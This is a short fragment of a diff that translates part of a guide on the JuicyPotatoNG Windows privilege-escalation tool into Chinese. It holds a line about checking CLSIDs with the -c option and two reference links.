			
		||||
**使用参数 -c 检查有效的 CLSID**
 | 
			
		||||
**检查** 可用的 CLSID **使用参数 -c**
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
## 参考资料
 | 
			
		||||
 | 
			
		||||
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
 | 
			
		||||
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user